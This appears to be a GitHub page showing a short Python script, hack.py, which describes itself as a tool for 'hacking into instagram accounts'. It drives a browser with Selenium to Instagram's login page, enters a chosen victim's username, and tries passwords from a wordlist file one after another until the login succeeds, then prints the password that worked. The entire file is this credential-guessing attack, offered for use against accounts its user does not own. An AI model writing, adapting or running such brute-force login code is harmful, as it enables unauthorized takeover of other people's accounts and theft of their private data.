-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhack.py
75 lines (38 loc) · 1.41 KB
/
hack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# hacking into instagram accounts
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.common.exceptions import NoSuchElementException
from time import sleep
#webdriver = webdriver.Firefox()
#webdriver.get(‘https://www.instagram.com/accounts/login/’)
PATH ="C:\Python39\Scripts\chromedriver.exe"
webdriver=webdriver.Chrome(PATH)
webdriver.get("https://www.instagram.com/accounts/login/")
sleep(3)
# username = webdriver.find_element_by_name('scheril Ryl')
username = webdriver.find_element(by=By.NAME, value = 'username')
username.send_keys('randall') # write the username of account you want to hack.
# password = webdriver.find_element_by_name('password')
password = webdriver.find_element(by=By.NAME, value = 'password')
passfile=open('mat.txt','r')
def display(a):
print("log in password "+a)
for i in passfile:
try:
password.send_keys(i)
submit = webdriver.find_element_by_tag_name('form')
submit.submit()
c=webdriver.current_url
sleep(5)
b=webdriver.find_element_by_xpath("//button[contains(text(), 'Not Now')]")
b.click()
sleep(5)
c=webdriver.current_url
except NoSuchElementException:
password.send_keys(Keys.CONTROL,"a",Keys.DELETE)
sleep(5)
url2=webdriver.current_url
if c!=url2:
display(i)
break